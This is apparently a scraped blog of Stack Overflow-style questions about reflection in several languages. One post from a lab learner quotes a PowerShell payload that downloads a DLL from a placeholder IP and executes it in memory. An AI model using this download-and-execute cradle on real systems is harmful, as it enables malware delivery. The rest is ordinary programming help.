mardi 31 août 2021

Is there a way to call a variable length parameter method with a field using Methodcall in bytebuddy intercept method?

I am trying to return some fields as a list using bytebuddy. I called Arrays.asList() using MethodCall, but it cannot handle variable length parameters. Are there any other approaches?

public class TestClass {
    int a;
    int b;
    
    public List<?> getFields(){
        throw new RuntimeException("Bytebuddy not work.");
    }
}

new ByteBuddy()
                .rebase(TypePool.Default.ofSystemLoader().describe("com.test.TestClass").resolve(), 
                        ClassFileLocator.ForClassLoader.ofSystemLoader())
                .method(ElementMatchers.named("getFields"))
                .intercept(MethodCall.invoke(Arrays.class.getMethod("asList", Object[].class))
                        .withField("a", "b"))       
                .make()
                .load(ClassLoader.getSystemClassLoader(), ClassLoadingStrategy.Default.INJECTION)
                .getLoaded();
        
        TestClass testTarget = new TestClass();
        LOG.info("result : {}", testTarget.getFields());

error:

Exception in thread "main" java.lang.ExceptionInInitializerError Caused by: java.lang.IllegalStateException: public static java.util.List java.util.Arrays.asList(java.lang.Object[]) does not accept 2 arguments at net.bytebuddy.implementation.MethodCall$Appender.toStackManipulation(MethodCall.java:3537) at net.bytebuddy.implementation.MethodCall$Appender.apply(MethodCall.java:3506) at net.bytebuddy.dynamic.scaffold.TypeWriter$MethodPool$Record$ForDefinedMethod$WithBody.applyCode(TypeWriter.java:708) at net.bytebuddy.dynamic.scaffold.TypeWriter$MethodPool$Record$ForDefinedMethod$WithBody.applyBody(TypeWriter.java:693) at net.bytebuddy.dynamic.scaffold.TypeWriter$MethodPool$Record$ForDefinedMethod.apply(TypeWriter.java:600) at net.bytebuddy.dynamic.scaffold.TypeWriter$Default$ForInlining$WithFullProcessing$RedefinitionClassVisitor.onVisitEnd(TypeWriter.java:5022) at net.bytebuddy.utility.visitor.MetadataAwareClassVisitor.visitEnd(MetadataAwareClassVisitor.java:323) at net.bytebuddy.jar.asm.ClassReader.accept(ClassReader.java:722) at net.bytebuddy.jar.asm.ClassReader.accept(ClassReader.java:401) at net.bytebuddy.dynamic.scaffold.TypeWriter$Default$ForInlining.create(TypeWriter.java:3827) at net.bytebuddy.dynamic.scaffold.TypeWriter$Default.make(TypeWriter.java:2166) at net.bytebuddy.dynamic.scaffold.inline.RebaseDynamicTypeBuilder.make(RebaseDynamicTypeBuilder.java:252) at net.bytebuddy.dynamic.scaffold.inline.AbstractInliningDynamicTypeBuilder.make(AbstractInliningDynamicTypeBuilder.java:123) at net.bytebuddy.dynamic.DynamicType$Builder$AbstractBase.make(DynamicType.java:3595) at net.bytebuddy.dynamic.DynamicType$Builder$AbstractBase$Delegator.make(DynamicType.java:3819) at





lundi 30 août 2021

Invoke method of analyzed assembly from a Roslyn Code Analyzer

I have a C# roslyn code analyzer that needs to analyze the usage scenarios of generic method invocations of a given class. I am gathering all the references to the method, the generic type parameters and so forth and then want to invoke the methods (via reflection) to analyze the output to report potential diagnostics in the analyzer. Is there a way from a Roslyn-Compilation.Assembly to a System.Reflection.Assembly? If not, is there any other way?

The Analyzer project and the solution to be analyzed are under my control.

Thanks!





How to modify an object by its property reference?

I want to be able to increment the property of an object by having the reference of the property itself, but not the reference of the object itself.

I am sure this could be achievable through some sort of reflection, but not really familiar with the available resources in JavaScript to achieve so.

Sample code:

let myObject = {
  a: 1
}

// reference of my object property
let target = myObject.a

let test = (destination) => {

  // increment
  destination += 1 
   
  
}

test(target);
// prints {a: 1} - Does not work
console.log(myObject);

The following does not work because we are trying to modify the reference of the direct integer property, which is mutable aswell. destination would equal to 2, but the parent object myObject stays unchanged. Is there anyway to achieve, through reflection, alteration of myObject by just having the reference of one of its property, if we consider that a case whereas myObject would be outside of the function's scope?





dimanche 29 août 2021

C# Generic Type Function, Make Generic Method Fails with System.String

I'm using .net Core 5.0.302 and having trouble using Reflection to invoke a generic method

The function is

public static T Parse<T>(List<Token> tokenList, int startPos) where T : new(){
            if(tokenList[startPos].tokenData.ToString() == "["){
                // ParseArray(tokenList);
                throw new NotImplementedException();
            }
            else if(tokenList[startPos].tokenData.ToString() == "{"){
                return ParseObject<T>(tokenList, startPos);
            }else{
                T retVal = new T();
                retVal = (T)tokenList[startPos].tokenData;
                return retVal;
            }
        }

The code that is attempting to invoke this method is here -

MethodInfo method = typeof(JsonParser).GetMethod(nameof(JsonParser.Parse), BindingFlags.Static | BindingFlags.Public);
                            method = method.MakeGenericMethod(typeof(string));
                            object parsedType = method.Invoke(null, new object[]{tokenList, i + 3});
                            props[z].SetValue(typeInst, parsedType);

And this is the error message I'm receiving

System.Security.VerificationException : Method ParseLib.JsonParser.Parse: type argument 'System.String' violates the constraint of type parameter 'T'. Stack Trace: at System.RuntimeType.ValidateGenericArguments(MemberInfo definition, RuntimeType[] genericArguments, Exception e) at System.Reflection.RuntimeMethodInfo.MakeGenericMethod(Type[] methodInstantiation) at ParseLib.JsonParser.ParseObject[T](List1 tokenList, Int32 startPos) in /home/user/Projects/MyProjects/JsonParseSharp/ParseLib/JsonParser.cs:line 54 at ParseLib.JsonParser.Parse[T](List1 tokenList, Int32 startPos) in /home/user/Projects/MyProjects/JsonParseSharp/ParseLib/JsonParser.cs:line 15 at ParseTests.JsonParserTest.TestParseBasicObject() in /home/user/Projects/MyProjects/JsonParseSharp/ParseTests/JsonParserTest.cs:line 16 ----- Inner Stack Trace ----- at System.RuntimeMethodHandle.GetStubIfNeeded(RuntimeMethodHandleInternal method, RuntimeType declaringType, RuntimeType[] methodInstantiation) at System.Reflection.RuntimeMethodInfo.MakeGenericMethod(Type[] methodInstantiation)

Haven't been able to figure out why System.String violates the type parameter 'T' if I replace typeof(string) with typeof(int), everything works as expected. Does anyone have any idea what might be the issue here?

Thanks in advance!





Template of Ret ( Class::*member )( Args... )

What would the be within the comments to make

property( "prop", &Class::getter, &Class::setter );

compile? This is the definition of property

template< typename Class, 
          typename Get,
          typename Set,
          typename = std::enable_if< std::is_same< 
              Get,
              typename std::remove_cv< typename std::remove_reference< typename std::remove_pointer< Set >::type >::type >::type >::value
          > 
>
constexpr auto property (
    const char* name,
    reflection::function< /* Get ( Class::* )() */ > getter,
    reflection::function< /* Get ( Class::* )( Set ) */ > setter
) {
    return nullptr;
}

I'm working on a constexpr function as described here except I would like to pass a class method as the argument. The one detailed there is useful for lambdas but I am looking for a class member.

reflection::function is defined as

template< typename > class function;

template < typename Class, typename Ret, typename ... Args >
class function < Ret ( Class::* ) ( Args... ) > {
public:
    constexpr function( Ret ( Class::*method )( Args... ) ) {
    
    }

    /* impl */
    
};




Is there a version of offsetof that applies to methods?

Given the struct:

struct Struct {
     int _a;

     int a () { return _a; }
};

One is able to get the offset of _a with offsetof( Struct, _a ).

How would I go about doing the same for something like &Struct::a?





Is there a way to extract the type parameters of a list inside a list in Java?

I'm trying to find out if there is a way to get the parameters of a type such as List that is nested inside another List.

For example, how would you extract the type of a nested List from a field such as this:

List<List<String>> strings

I found a way to do this one level deep:

for (Field field : aClass.getDeclaredFields()) {
    //checking if field type can have parameters, for example List<String>
    if(List.class.isAssignableFrom(field.getType()) || Map.class.isAssignableFrom(field.getType())) {
        //extracting type parameters, to do this you need to cast a type to ParameterizedType and then to Class to get a simple name easily
        List<Class<?>> typeParameters = Stream.of(((ParameterizedType) field.getGenericType()).getActualTypeArguments())
                .map(type -> (Class<?>) type)
                .collect(Collectors.toList());

        //for a field like List<String> strings; this will print out: strings: List<String>
        System.out.println(field.getName() + ": " +
                        field.getType().getSimpleName() + "<" +
                        typeParameters.stream().map(Class::getSimpleName).collect(Collectors.joining(", ")) +
                        "> ");

    }
}

However, I haven't had any success with scaling it up for nested types.





samedi 28 août 2021

enable templated base class only for derived classes

How would I go about doing the equivalent of the following?

template < class T, typename = std::enable_if< std::is_base_of< Self, T >::value > > // Can not use std::is_base_of on self
class Self {
protected:
    typedef T self;
};

class ValidDerived : public Self< ValidDerived > { }; // This should compile because T is itself

class InvalidDerived : public Self< ValidDerived > { }; // This should not compile because T is not itself

I'm trying to implement reflection and to do that one of the steps I have to make is getting the typeid( self ).name() of the most-derived class.





Parsing string for object property

I'm attempting to parse a string and replace values in a string with object properties.

Currently I'm using a code in the string {value=x; id=y ;property=z} and running that through a switch case to convert it into an object. Then replacing the {} with the object properties.

for example "some random string {value=1; id=1; property=Name} continued random string"

I parse the string to locate {value=, on a hit it runs through a switch case, where on case 1: return Account(ID = 1). The I grab Account.Name

Once I have that I put it in a text box so the user can validate that it is correct before generating a final document to be sent out.

Is there a way to have {Object.Property} in the string then use reflection to convert that string value to the object value?

Get property value from string using reflection

I used the above in other instances, but that requires that I have the object.

How do I convert "Account" in to

<Account>




vendredi 27 août 2021

Referencing overloaded top-level Kotlin functions reflectively

In brief, how can one reference / iterate reflectively over overloaded top-level functions in Kotlin, such as kotlin.io.println?


Given the following:

object Bar {
    fun foo(x: Int) = Unit
    fun foo(x: Byte) = Unit
    fun foo(x: Float) = Unit
}

I can iterate over the various overloads of foo by doing:

fun main() {
    Bar::class.memberFunctions
        .filter { kFunction -> kFunction.name == "foo" }
        .forEach { kFunction -> println(kFunction) }
}

Which produces:

fun com.example.Bar.foo(kotlin.Byte): kotlin.Unit
fun com.example.Bar.foo(kotlin.Float): kotlin.Unit
fun com.example.Bar.foo(kotlin.Int): kotlin.Unit

However, if the various overloads of foo are defined top-level (outside of a class or object definition) such as simply:

fun foo(x: Int) = Unit
fun foo(x: Byte) = Unit
fun foo(x: Float) = Unit

Then there doesn't seem to be a way to reference them.

I tried being tricky using a top-level function in my example (such as main) to access the synthetic class:

::main::class.memberFunctions
    .filter { kFunction -> kFunction.name == "foo" }
    .forEach { kFunction -> println(kFunction) }

But it pukes on the fact that it's synthetic:

Exception in thread "main" java.lang.UnsupportedOperationException: This class is an internal synthetic class generated by the Kotlin compiler, such as an anonymous class for a lambda, a SAM wrapper, a callable reference, etc. It's not a Kotlin class or interface, so the reflection library has no idea what declarations does it have. Please use Java reflection to inspect this class.

How can I reference top-level overloaded functions in Kotlin?

More specifically, top-level overloaded functions defined in other packages / modules such as kotlin.io.println?





How to initialize at runtime a list with all the static classes of an artifact to be able to dynamically call their methods with their parameters?

I have the following problem: I need to test a list of algorithms (~300) with maximum speed performance.

Since every one is unique, I create them as static classes and made a execute() function like bellow.

Each one does have some fixed parameters (the same amount) that eventually, I can make as consts;

I was able to get a list of execute() methods, make a delegate and run it.

Now in C I would make some function pointers and that's it.

Make a array of function pointers.

How can I get a delegate to entire static object, not only to particular method?

Actually I need a list or array of them.

I would prefer to do some heavy lifting in initialization() like reflection, so I can have max. performance at runtime at execute();

Now I am not sure this is the best approach, I'm not expert in C#.

Thanks for suggestions.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;

namespace test
{
  public static class algorithms
  {
    public static void initialize()
    {

      List<Type> types = typeof(algorithms).GetNestedTypes(BindingFlags.Public | BindingFlags.Static).ToList();

      foreach ( Type t in types )
      {
        var method = t.GetMethod("Execute");

        var execute = (Func<int, int>)Delegate.CreateDelegate(typeof(Func<int, int>), null, method);

        int reply = execute(0x12345678); // I was able to obtain *ptr to execute() for each one

        // how can I obtain a *ptr to entire object in order to access it's members too ?
      }
    }

    // list of ~300 algorithms, unique (so no need to have instances)

    public static class alg1
    {
      public static string Name;      // each share the same parameters
      public static string Alias;

      public static int Execute(int data)     // the same execute function
      {
        // but different processing for each algorithm
        return 1;
      }
    }

    public static class alg2
    {
      public static string Name;
      public static string Alias;

      public static int Execute(int data)
      {
        return 2;
      }
    }

    public static class alg3
    {
      public static string Name;
      public static string Alias;

      public static int Execute(int data)
      {
        return 3;
      }
    }

  }
}




mercredi 25 août 2021

How do I get the original expression used to invoke a powershell function?

How would I go about retrieving the original expression used to invoke a Powershell function, from within the function itself? As in, the expression as it was typed/read from the script or command line.

I know that one can use $MyInvocation.Line to retrieve the first line of the invocation expression, however this won't correctly retrieve a multi-line expression.

( This answer only retrieves the first line, or the arguments, not the original expression)





How can I reflectively get parameter names for a method included with Java SE?

I'm looking to create some code designed for static imports based on classes in Java SE 8 (specifically, with regards to threeten-extra#166).

As a first pass, I'm automatically generating the Java code for methods based on static factory methods in a specific set of classes. My hope is to ensure I don't miss anything, reduce the chance for manual error, as well as eliminate repetitive copy/pasting on my part.

I am using the Java reflection API to retrieve Method objects for the methods I want to automatically generate code for. I am then generating a method signature using that Method object.

For instance, for the LocalDate.of(int year, int month, int dayOfMonth) method, I would want something like this:

public static LocalDate date(int year, int month, int dayOfMonth) {
    return LocalDate.of(year, month, dayOfMonth);
}

Of key importance, I want to ensure that my generated Java code signature has parameter names that are the same as those in the JDK. I know that Java has the ability to get parameter names for a method using Parameter.getName(). However, the method parameter names are not guaranteed to be present; .class files do not store them by default (the -parameters option to javac will cause them to be included). For my particular case, the parameter names are in Java, which (for my version at least), does not have them compiled in.

Method method = LocalDate.class
        .getMethod("of", int.class, int.class, int.class);

System.out.printf("public static %s date(%s) {\n",
        method.getReturnType().getSimpleName(),
        Arrays.stream(method.getParameters())
                .map(p -> String.format("%s %s",
                        p.getType().getSimpleName(), p.getName()))
                .collect(Collectors.joining(", ")));
System.out.printf("    return %s.%s(%s);\n",
        method.getDeclaringClass().getSimpleName(),
        method.getName(),
        Arrays.stream(method.getParameters())
                .map(Parameter::getName)
                .collect(Collectors.joining(", ")));
System.out.println("}");

Output:

public static LocalDate date(int arg0, int arg1, int arg2) {
    return LocalDate.of(arg0, arg1, arg2);
}

I attempted to use the Paranamer library to read the argument names from the Java 8 Javadoc, but it appears that it does not support the Java 8 Javadoc HTML format (paranamer#39).

I am currently using SDKMAN! on macOS to manage the version of Java, which is AdoptOpenJDK 8.x. Given that the methods should be identical across Java versions, it would not need to be this specific version of Java 8, though it would have to be a version of Java 8.

How can I get the parameter names of a Method for built-in Java SE 8 classes in this situation?





Powershell error script cannot call method value of null

I'm playing around with this payload on my lab

I'm stucked with it because i can't execute

correctly this payload to download a dll

It's stored on other vm running apache webserver

http://192.168.5.100/downloads ( for example )

I am using Windows 10 & Parrot OS.

Both are configured with the bridge mode in VirtualBox.

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

The error shows :

cannot call method value of null

Invalid operation

runtime exception

invoke Method Null

$method = $class.GetMethod("runner")

$method.Invoke(0, $null)

What can i do?

Thanks





Get GetInvocationList of a public static event via reflection

I have a class which contains public static event, and I need to find out if it has handler attached to it or not. I know that I can use GetInvocationList() but the issue is that the event is static and I cannot seem to get a value by using reflection.

public class Business
{
  public static event EventHandler MyEvent;
}

I need to get event handlers of this event but from another class:

public class MyClass
{
  public void Test()
  {
    FieldInfo fieldInfo = typeof(Business).GetField("MyEvent", BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy);
    // fieldInfo is null!!
    Delegate del = (Delegate)fieldInfo.GetValue(null);
    var list = del.GetInvocationList();
  }
}

I cannot get it to work to have fieldInfo returned with value instead of null!





setting property value of System.Linq.Enumerable not working [duplicate]

I have a class that should set property values.

something like this:

    public class AuditService
    {
        public static void Foo<T>(T entity, int userId = 1, string propertyName= "CreatedBy")
        {
            Console.WriteLine(entity.GetType().IsValueType);

            Type entityType = entity.GetType();
            bool isIEnumerable = entityType.GetInterfaces().Any(x => x.IsGenericType && 
                x.GetGenericTypeDefinition() == typeof(IEnumerable<>));

            if (isIEnumerable)
            {                    
                foreach (var i in (entity as IEnumerable<object>))
                {
                    SetProperty(i);
                }
            }
        }
    }

if T is an Array of objects, it works as expected, but if it's System.Linq.Enumerable, the property values are not being set (in fact it's being set on a copy, not the original object). Here's the SetProperty.

public static void SetProperty(object obj, int userId = 1, string propertyName = "CreatedBy")
{                 
    Type t = obj.GetType();
    PropertyInfo info = t.GetProperty(propertyName);
    if (info != null)
    {
        info.SetValue(obj, userId);
    }
}

this doesn't work:

            int parentId = 1;
            IEnumerable<int> ids = new int[] { 1, 2 };

            var model = ids.Select((q) => new CustomClass
            {
                ParentId = parentId,
                Id = q
            });

this works:

            int parentId = 1;
            IEnumerable<int> ids = new int[] { 1, 2 };

            var model = ids.Select((q) => new CustomClass
            {
                ParentId = parentId,
                Id = q
            }).ToArray();

Is there a way to change the AuditService class or SetProperty in a way that work with both types (array and System.Linq.Enumerable)?





How can I call a generic delegate?

I'm not very proficient in C#, so please bear with me.

I tried to make my code as simple as possible to outline my problem.

This is code from an external library I have no control over:

public class Library {

    public delegate void Handler<T>(in T type);

    public void Subscribe<T>(Handler<T> handler) {
        // Whatever...
    }

}

This is my application code:

public class Application {

    public void Run() {
        var library = new Library();
        var types = new List<Type>() {typeof(int), typeof(string)};
        foreach(var type in types) {
            var methodLibrary = library.GetType().GetMethod("Subscribe");
            var methodLibraryGeneric = methodLibrary.MakeGenericMethod(new Type[] {type});
            var methodApplication = this.GetType().GetMethod("OnHandler", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
            var methodApplicationGeneric = methodApplication.MakeGenericMethod(new Type[] {type});

            // [EXCEPTION] System.ArgumentException: method arguments are incompatible
            var delegateApplication = Delegate.CreateDelegate(typeof(Library.Handler<>), methodApplicationGeneric);

            methodLibraryGeneric.Invoke(library, new object[] {delegateApplication});
        }
    }

    private void OnHandler<T>(in T type) {
        // Whatever...
    }

}

I hope it's clear what I'm trying to do: I have a whole bunch of types I determine at runtime (not just int/string for demo purposes), and I want all of them to be registered with the external library which calls back into my code.

As a workaround I could explicitly call library.Subscribe<int>(OnHandler) for each and every type, but that would be rather brittle and error-prone, and I thought generics could help.

If I'm doing something incredibly stupid, just tell me-- preferably including a more elegant solution than hard-coding the subscription for each and every type. :)

Any help appreciated.





mardi 24 août 2021

Get class of Scala object for annotation

I have a use case where I need to do some Java reflection on some Scala objects (don't even ask). Anyway, I sometimes need to add these objects to an annotation, in Scala.

Here's my (java) annotation:

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
public @interface MyAnnotation {
   Class<?>[] value();
}

And let's say this is my Scala object:

object Foo{}

In Java, I can reference Foo using my above annotation like this:

@MyAnnotation(Foo.class)
class SomeClass{}

In Scala, however, I don't see how I can get a type literal from an Object:

@MyAnnotation(Array(classOf[Foo]))
class SomeClass{}

This fails, with error message:

not found: type Foo

Is there any way I can reference my Foo object type in a Java annotation? Note that I can't use Foo.getClass, because that's a method call, not a constant.





Using Reflection on golang, how can I access the properties of the parent struct [duplicate]

Using reflect, I'm trying to access the fields of a Parent struct from within a function implemented on the "Base" struct, like this:

type Base struct {
  X int
}

type Extra struct {
  Base
  Y int
  Z int
}

func (b *Base) Hitme() {
  // Want to access the list of "Extra" fields here
}

The b value only allows me to access the "X" value, not "Y" or "Z".

Here's a compilable example on playground: https://play.golang.org/p/fX0bX_x7FzC





Lambda function to capture all local variables and iterate over them

All, I am trying to write a lambda function that accepts all local variables by reference and iterates over them to print out the variable name and variable value. Or is this even possible?

I know with rtti I can get the individual members of a struct, but what I want is to get all in-scope members so that if I add a new var called int myNewVar, the lambda will automatically capture it and print its type and value.

#include <iostream>
#include <string_view>

template <typename T>
constexpr auto type_name() noexcept {
  std::string_view name, prefix, suffix;
#ifdef __clang__
  name = __PRETTY_FUNCTION__;
  prefix = "auto type_name() [T = ";
  suffix = "]";
#elif defined(__GNUC__)
  name = __PRETTY_FUNCTION__;
  prefix = "constexpr auto type_name() [with T = ";
  suffix = "]";
#elif defined(_MSC_VER)
  name = __FUNCSIG__;
  prefix = "auto __cdecl type_name<";
  suffix = ">(void) noexcept";
#endif
  name.remove_prefix(prefix.size());
  name.remove_suffix(suffix.size());
  return name;
}

int main()
{
   int var1 {1}, var2 {2}, var3{3};
   float f1 {1.1f}, f2 {2.2f};
   char letter {'a'};
   auto myLambdaThatCapturesEverythingLocal= [=] { 
        //For Each Variable that is in scope
        std::cout << "Type is: " << type_name(varIter) << "\n";
        //where varIter is a specific variable that is in scope, print its value.
        std::cout << "Value is: " << varIter << std::endl;
    };
    myLambdaThatCapturesEverythingLocal();

    /*
        myLambdaThatCapturesEverythingLocal should print out
        Type is: int
        Value is: 1
        Type is: int
        Value is: 2
        Type is: int
        Value is: 3
        Type is: float
        Value is: 1.1
        Type is: float
        Value is: 2.2
        Type is: char
        Value is: a
    */
    return 0;
}




Is reflection is for classloader?

I know that reflection is a technique for calling methods or manipulating bytecode without knowing the concrete type.

Recently, while studying classloaders, I came across an article that reflection is for classloaders to dynamically load classes and do type checking. Is this true?

The article

The original text is not in English, so the translation may be a bit strange.

Java dynamically loads classes. That is, all code is linked to the JVM at runtime. Every class is dynamically linked to the JVM and loaded into memory at the moment that class is referenced. Java's runtime library ([JDK installation directory]/jre/lib/rt.jar) is no exception. This dynamic class loading is done through the class loader system of Java, and the class loader provided by Java is expressed through java.lang.ClassLoader. When the JVM starts, it creates a bootstrap class loader and then reads the first class, Object, into the system.

Loading a class dynamically at runtime means that the JVM has no information about the class. In other words, the JVM does not know information about methods, fields, and inheritance relationships of classes. Therefore, the classloader should be able to obtain the necessary information when loading a class and check whether the class is correct. If you can't do this, the JVM may have mismatched versions of the .class files, and it will be impossible to type-check. The JVM has the ability to analyze classes internally, and from JDK 1.1, developers can analyze these classes through reflection.





lundi 23 août 2021

Take control and info about another programs running in Windows machine

I don't know if this question was already answer and if so, sorry for the that and please provide me a link.

The question is simple but the answer maybe not. Lets say that I want to build a program to get info and do something in the classic pinball game in a windows machine (could be any other program). So if I start a instance of a pinball game (normally) in a windows and I want to know if there is anyway (like some kind of reflection) to get in my app the data about the score, maybe change some data and call some functions in the pinball instance open? If i don't make it clear, there is anyway to manipulate data in the RAM that belongs to another app from another app?





dimanche 22 août 2021

scala pass T type to Java constructor

I am using Jackson read Yaml in scala 2.11/2.12 val mapper = new ObjectMapper(new YAMLFactory()), I think the Java constructor I am calling is

public <T> T readValue(String content, Class<T> valueType)

this code works

def load(): SomeClass {
  mapper.readValue[SomeClass](configStr, classOf[SomeClass])
}

But I want to change this class to T

mapper.readValue[T](configStr, classOf[T])

error class type required but T found

I searched some and changed it to

def load[T: ClassTag](): T = {
  mapper.readValue[T](configStr, classTag[T].runtimeClass)
}

But it says no construct methods are matched.





How to recognize an outer variable which is listed between members by reflection?

I have a function which constructs a map by reflection from an object literal (the purpose is to make porting some JavaScript code easier). The function works fine, but I have found a case in which the reflections lists variables from an enclosing scope between members:

def mapFromObject[T](m: Any): Map[String, T] = {
  import scala.reflect.runtime.currentMirror

def listMembers(m: Any) = {
  import scala.reflect.runtime.currentMirror

  val anyMirror = currentMirror.reflect(m)
  val items = for {
    symbol <- currentMirror.classSymbol(m.getClass).toType.members
    if symbol.isTerm && !symbol.isMethod && !symbol.isModule
  } yield {
    val field = anyMirror.reflectField(symbol.asTerm)
    symbol.name.decodedName.toString
  }
  items
}


def convertLiteral() = {
  val par_some = ""
  val literal = new {
    var item = new {}
    var item2 = new {
      var value = par_some
    }
  }
  println(listMembers(literal))
}

convertLiteral()

I expect to get result item, item2, but I get par_some$1, item2, item instead.

Why is par_some$1 listed as a member of the class?

How can I check for such member, so that I can ignore it? I have tried various methods of Symbol, including isSynthetic and isImplementationArtifact, but nothing I have tried seems to be different from normal members.

Scastie repro: https://scastie.scala-lang.org/uiv4DBIERIKnZaiViZ0Aaw





samedi 21 août 2021

C# Change class type of child object

My code is written like this.

public class Client {
    public Character Chr { get; set; }

    public CreateCharacter() {
        Chr = new Warrior();
    }
    ...
}

public class Character {
    public void ChangeJobToMagician() {
        // this = new Magician(); ?
    }
    ...
}

public class Warrior : Character {
    ...
}

public class Magician : Character {
    ...
}

public class Inventory {
    public Character Owner { get; set; }
    public List<Item> Items = new List<Item>();
    ...
}

public class Item {
    public Character Owner { get; set; }
    ...
}

If i reference Character class in Client class only, it'll be easy but, many things reference Character (like Inventory, Item, many classes) so i can't change everything of that.

there is easy way to make change job(child object's class type)?





JNI C getMethodID throws NoSuchMethodError for "getDeclaredMethod"

I've spent two days looking at and re-looking at this code, and simply can't see the error.

The code attempts to get a jmethodID for the getDeclaredMethod call linked to objB, in order to (later) get methodIDs of objB's instance methods (which are omitted for clarity).

(I also clutter the code by calling objB.getClass() in case this is the real source of reflection methods)

Instead, the 2nd and 3rd GetMethodIDs fail, for reasons I can't understand.

I would be most greatful to anyone who can point out the probably very obvious mistake.

public class Main {
    public static void main(String[] args) {
        ClsB objB = new ClsB();
        System.out.println((String)objB.test());
    }
}
public class ClsB {
    static { System.loadLibrary("test"); }
    public native Object test();
}
#include <jni.h>
JNIEXPORT jobject JNICALL Java_ClsB_test(JNIEnv *env, jobject objB) {
    const char* out = "success";
    do { // error checks commented out here for visual clarity
        jclass clsB = (*env)->GetObjectClass(env, objB);
        // if ( !clsB ) { out = "clsB"; break; }
        /* Class<?> Class_objB = objB.getClass() */
        jmethodID mgtc = (*env)->GetMethodID(env, clsB, "getClass", "()Ljava/lang/Class;");
        // if ( !mgtc ) { out = "mgtc"; break; }
        jobject Class_objB = (*env)->CallObjectMethod(env, objB, mgtc);
        // if ( (*env)->ExceptionCheck(env) ) { out = "Class_objB"; break; }
        const char* mgdm_nam = "getDeclaredMethod";
        const char* mgdm_sig = "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;";
        jmethodID mgdm;
        // **** ERROR **** either GetMethodID line below throws NoSuchMethodError
        mgdm = (*env)->GetMethodID(env, clsB, mgdm_nam, mgdm_sig);
//      mgdm = (*env)->GetMethodID(env, Class_objB, mgdm_nam, mgdm_sig);
        if ( !mgdm ) { out = "mgdm"; break; }
    } while ( 0 );
    (*env)->ExceptionClear(env);
    return (jobject) (*env)->NewStringUTF(env, out);
}
gcc -D_REENTRANT -fPIC -Wall -c test.c -o test.o -I${JAVA_HOME}/include -I${JAVA_HOME}/include/linux
gcc -D_REENTRANT -fPIC -Wall -shared -o libtest.so -O test.o
javac -Xlint:all Main.java
java -Xcheck:jni -Djava.library.path=. Main

Hoped-for outcome: "success", actual outcome "mgdm".





Check if DateTime has time or not

Say I have a database column 'A'. The type of column in DB can either be Date or DateTime. I am creating a dynamic filter query:

filterFragment = Expression.AndAlso(
                            Expression.GreaterThanOrEqual(memberExpression, Expression.Constant(beginDate)),
                                Expression.LessThan(memberExpression, Expression.Constant(endDate.AddSeconds(1))));

where,

memberExpression = Expression.Property(rootExpression, property);
rootExpression = Expression.Parameter(targetType, targetType.Name);
queryableSource = source.AsQueryable();
results = queryableSource.Expression;
targetType = queryableSource.ElementType;

and

IEnumerable<TSource> source is a parameter to the method generating the dynamic filterExpression.

Attached a screenshot of memberExpression value during runtime: enter image description here

and here's the Type value:

enter image description here

How do I check if the Type of memberExpression has Time part or it is a ShortDate without any time part? The reason I want to check the type of memberExpression is that if it has Time part I need to do endDate.AddSecond(1), and if there isn't a time part need to use LessThanOrEqual in Expression as:

filterFragment = Expression.AndAlso(
                            Expression.GreaterThanOrEqual(memberExpression, Expression.Constant(beginDate)),
                                Expression.LessThanOrEqual(memberExpression, Expression.Constant(endDate)));

More details of question here.





vendredi 20 août 2021

Why I change the string s1 constant by reflection in java, the other s2, s3 also changed?

environment messages:

(env) λ java -version
openjdk version "1.8.0_242"
OpenJDK Runtime Environment (build 1.8.0_242-xxxxxx_JDK_xxxxx)
OpenJDK 64-Bit Server VM (build 25.242-b08, mixed mode)

/*
 * Copyright (c) Google Technologies Co., Ltd. 2021-2021. All rights reserved.
 */

package corejava.v1ch05.practice;

import java.lang.reflect.Field;
import java.util.Random;

public class ChangeString {

    private static void change(String message) throws NoSuchFieldException, IllegalAccessException {
        System.out.println(System.identityHashCode(message));

        Field f = message.getClass().getDeclaredField("value");
        System.out.print("Accessible: " + f.isAccessible());
        f.setAccessible(true);
        char[] v = (char[])f.get(message);
        Random random = new Random();
        char randomizedCharacter = (char) (random.nextInt(26) + 'a');
        v[0] = randomizedCharacter;

        System.out.println();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
        String s1 = " abcd";
        System.out.println("s1: " + System.identityHashCode(s1));

        String s2 = new String(" abcd");
        String s3 = " abcd";
        System.out.println("s2: " + System.identityHashCode(s2));
        System.out.println("s3: " + System.identityHashCode(s3));



        change(s1);
        // change(s2);
        System.out.print(s1 + " " + s2 + " " + s3);
    }
}


The results are as follows:

s1: 685325104
s2: 460141958
s3: 685325104
685325104
Accessible: false
tabcd tabcd tabcd

As I know, the string constant is stored in the string constant pool. store location(maybe it's wrong!): jdk1.6 Method Area jdk1.7 heap memory jdk1.8 local memory

I changed the s1, the s2, s3 reference also changed. It really mixed me up!





How to get generic method parameter property name in C#?

The expected result is to get the method parameter T property Name. Here is my code,

I have tried few suggested workarounds to make use of class ABC typeof(ABC).GetProperties - didn't get the expected result.

public class ABC
{
  public string Name { get; set; }
  public int RecordCount { get; set; }
  public decimal Total { get; set; }
  public DateTime CreatedDate { get; set; }
}

public void ExecuteMain()
{
  var item = new ABC
  { 
    Name = "TestUser A", 
    RecordCount = 10, 
    Total = 100.20m, 
    CreatedDate = DateTime.Now 
  };
  AddTest<string>(item.Name);
  AddTest<int>(item.RecordCount);
  AddTest<decimal>(item.Total);
  AddTest<DateTime>(item.CreatedDate);
}

private string AddTest<T>(T field)
{
  var resultName = nameof(field); // should return as "Name" 
  var resultValue = field.ToString(); // this returns "TestUser A" which is correct

  //Record Count, Total, CreatedDate  to add later
  return $"Name = {resultName}:{resultValue}";
}

Expecting result in this line

var resultName = nameof(field); // should return as "Name" 




Find .cs file path from any given type in c#

The attribute [CallerFilePath] seems to do what I need to do:

How to find path to .cs file by its type in C#

...but I would like to be able to avoid having to add this new prop to every type that I want to check:

